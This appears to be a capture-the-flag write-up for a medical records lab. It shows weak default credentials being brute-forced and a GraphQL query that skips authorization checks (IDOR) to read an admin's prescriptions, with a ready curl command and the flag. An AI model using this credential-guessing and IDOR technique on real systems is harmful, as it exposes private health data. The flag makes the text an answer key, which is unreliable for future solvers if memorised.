Overview
A prototype medical records system allows retrieving prescription history. Exploiting weak default login credentials gets us inside, where we use GraphQL introspection and IDOR queries to fetch the flag.
Reconnaissance
We brute-force credentials and find a valid pair: user:user. Upon login, the API returns a response containing "userID": 2.
Inspecting the source code on the authenticated page reveals an active GraphQL endpoint at /graphql, with a flag field queryable inside PrescriptionType.
Exploitation Strategy
GraphQL schema introspection is enabled. We run a query to map the schemas:
query: "{ getPrescriptions(userId: 1) { id userId prescriptionDetails flag } }"The server lacks authorization validation on the requested userId parameter. Querying userId: 1 (admin) returns all prescription details, exposing the flag on prescription ID 43.
Solution Code
curl -s -X POST http://51.20.10.121:5003/graphql \
-b cookies.txt \
-H "Content-Type: application/json" \
-d '{"query":"{ getPrescriptions(userId: 1) { id userId prescriptionDetails flag } }"}'Flag
CrackOn{graphql_data_leak}